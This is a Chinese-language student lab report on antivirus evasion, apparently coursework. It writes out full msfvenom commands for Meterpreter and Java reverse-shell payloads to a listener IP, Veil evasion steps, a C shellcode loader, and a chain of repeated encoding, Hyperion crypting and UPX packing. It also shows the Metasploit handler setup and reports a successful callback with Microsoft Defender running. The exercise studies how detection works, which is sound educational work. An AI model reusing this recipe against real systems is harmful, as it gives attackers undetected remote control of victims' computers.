一、实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验要求
掌握免杀原理与技术
回答问题
(1)杀软是如何检测出恶意代码的?
可以通过对可执行文件中包含的特征码进行检测
可以通过监视程序的非法行为进行判断
(2)免杀是做什么?
免杀是用来使恶意代码免于杀毒软件的查杀的一项技术。主要是通过修改恶意代码的特征码实现的。
(3)免杀的基本方法有哪些?
三、实验过程
3.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
首先用VirusTotal对后门程序进行检测,检出率为54/69
3.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.53 LPORT=2416 -f exe > 20192416code1.exe
# 使用
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.31.53 LPORT=2416 -f exe > 20192416code2.exe
#
msfvenom -p java/shell_reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f jar > 20192416.jar
# 生成jar文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f raw > 20192416.php
# 生成php文件
3.1.2 veil,加壳工具
在终端中输入代码以生成后门程序
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.31.53
set LPORT 2416
generate
3.1.3 使用C + shellcode编程
以C语言格式输出shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f c > 20192416.c
给刚才生成的C程序添加主函数
cat >>20192416.c<<EOF
int main(){
int (*func)() = (int(*)())buf;
func();
}
EOF
生成可执行程序
i686-w64-mingw32-gcc 20192416.c -o 20192416.exe
3.2通过组合应用各种技术实现恶意代码免杀
多次编码+C源代码+加壳
# 生成C文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.31.54 LPORT=2416 -f c > 20192416.c
# 添加主函数
cat >>20192416.c<<EOF
int main(){
int (*func)() = (int(*)())buf;
func();
}
EOF
# 生成可执行程序
i686-w64-mingw32-gcc 20192416.c -o 20192416.exe
# 给程序加上一层加密壳
wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20192416.exe 20192416.hyed.exe
# 使用upx给程序加上一层压缩壳
upx 20192416.hyed.exe -o 20192416.upxed.exe
3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功
在虚拟机上输入命令 msfconsole 打开msf控制台
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.44
set LPORT 2416
exploit
主机上运行后门程序,此时虚拟机即可获得主机的控制台
杀软使用的是系统自带的Microsoft Defender
四、问题及解决方案
1.veil安装出现问题
解决方案:
vim /usr/share/veil/config/setup.sh
将260行的地址改为:https://gitee.com/githubren/VeilDependencies.git
重启虚拟机,反复尝试。
2.加壳时报错
解决方案:
无法解析ip:先在终端上输入ifconfig找到本系统的ip,然后在/etc/hosts里面添加末尾 “ip号 hostname“
不能打开文件:使用命令su -在root模式下运行即可解决后两行报错
五、学习感悟、思考等
本次实验流程并不长,但在过程中常常会遇到各种各样的问题。在最后一步的使用组合技术实现免杀时,我发现使用加壳工具有时可能会增加检测率,结合视频学习中老师曾经讲过,可能是我们使用的加壳软件被查杀软件列入了黑名单。此次实验的大部分时间都在解决报错上,极大地锻炼了我解决问题的能力。希望在接下来的实验中能够学到更多东西。